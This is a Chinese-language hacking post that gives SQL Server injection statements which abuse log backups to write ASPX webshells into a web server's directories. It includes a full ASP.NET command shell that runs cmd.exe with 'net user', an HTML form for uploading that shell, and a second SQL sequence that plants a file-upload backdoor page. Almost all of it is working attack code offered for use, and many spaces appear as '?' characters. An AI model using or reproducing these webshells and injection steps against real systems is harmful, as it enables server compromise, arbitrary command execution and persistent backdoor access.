from:Security Box

1.相當于ASP的一句話木馬:

1 alter ? database ?pubs? set ?RECOVERY? FULL --
 2 create ? table ?pubs.dbo.cmd(a? image )
 3 backup ? log ?pubs? to ? disk ? = ? ' c:\TM ' ? with ?init
 4 insert ? into ?pubs.dbo.cmd(a)? values ?( ' <%@?Page?Language="C#"?validateRequest="false"?%><%System.IO.StreamWriter?ow=new?System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>? ' )
 5 backup ? log ?pubs? to ? disk ? = ? ' d:\test11.aspx '

mu.aspx.htm 客戶端:(提交后訪問:http://IP/images.aspx)

?1<form?action=http://192.168.2.100/asp/mu.aspx?method=post>?
?2<b>在下面輸入大馬內容:</b><br>
?3<textarea?name=l?cols=120?rows=35?width=45>?
?4<%@?Page?Language="VB"?Debug="true"?%>
?5<%@?import?Namespace="system.IO"?%>
?6<%@?import?Namespace="System.Diagnostics"?%>
?7<script?runat="server">?
?8????Sub?RunCmd(Src?As?Object,?E?As?EventArgs)?
?9????????Dim?myProcess?As?New?Process()?
10????????Dim?myProcessStartInfo?As?New?ProcessStartInfo(xpath.Text)?
11????????myProcessStartInfo.UseShellExecute?=?False?
12????????myProcessStartInfo.RedirectStandardOutput?=?true?
13????????myProcess.StartInfo?=?myProcessStartInfo?
14????????myProcessStartInfo.Arguments=xCmd.text
15????????myProcess.Start()
16????????Dim?myStreamReader?As?StreamReader?=?myProcess.StandardOutput?
17????????Dim?myString?As?String?=?myStreamReader.Readtoend()
18????????myProcess.Close()
19????????mystring=replace(mystring,"<","<")
20????????mystring=replace(mystring,">",">")
21????????result.text=?vbcrlf?&?"<pre>"?&?mystring?&?"</pre>"
22????End?Sub?
23</script>
24<html><head>
25<title>ASP.NET?Shell?for?WebAdmin2.X?Final</title>
26<meta?http-equiv="Content-Type"?c?/></head><body>
27<form?runat="server">
28<asp:Label?id="L_p"?style="COLOR:?#0000ff"?runat="server"?width="80px">;Program</asp:Label>
29<asp:TextBox?id="xpath"?style="BORDER-RIGHT:?#084b8e?1px?solid;?BORDER-TOP:?#084b8e?1px?solid;?BORDER-LEFT:?#084b8e?1px?solid;?BORDER-BOTTOM:?#084b8e?1px?solid"?runat="server"?Width="300px">c:\windows\system32\cmd.exe</asp:TextBox><br?/>
30<asp:Label?id="L_a"?style="COLOR:?#0000ff"?runat="server"?width="80px">Arguments</asp:Label>
31<asp:TextBox?id="xcmd"?style="BORDER-RIGHT:?#084b8e?1px?solid;?BORDER-TOP:?#084b8e?1px?solid;?BORDER-LEFT:?#084b8e?1px?solid;?BORDER-BOTTOM:?#084b8e?1px?solid"?runat="server"?Width="300px"?Text="/c?net?user">/c?net?user</asp:TextBox><br?/>
32<asp:Button?id="Button"?style="BORDER-RIGHT:?#084b8e?1px?solid;?BORDER-TOP:?#084b8e?1px?solid;?BORDER-LEFT:?#084b8e?1px?solid;?COLOR:?#ffffff;?BORDER-BOTTOM:?#084b8e?1px?solid;?BACKGROUND-COLOR:?#719bc5"?runat="server"?Width="100px"?Text="Run"></asp:Button><p>
33<asp:Label?id="result"?style="COLOR:?#0000ff"?runat="server"></asp:Label>?</p></form></body></html>
34</textarea><BR><center><br>?
35<input?type=submit?value=提交>


2、下面這個是我找網上的asp.net的上傳文件程序，修改精簡了下，也可以用：

1drop?table?pubs.dbo.cmd
2alter?database?pubs?set?RECOVERY?FULL
3create?table?pubs.dbo.cmd(a?image)
4backup?log?pubs?to?disk?=?'c:\TM'?with?init
5insert?into?pubs.dbo.cmd(a)?values?('<script?language="c#"?runat="server">private?void?bc(object?o,EventArgs?e)?{string?u="files";string?filename;int?pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Substring(pos?+?1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}</script><form?method="post"?runat="server"><input?type="file"?id="f"?runat="server"/><input?type="submit"?value="ss"?runat="Server"?/></form>')
6backup?log?pubs?to?disk?=?'c:\inetpub\wwwroot\test11.aspx'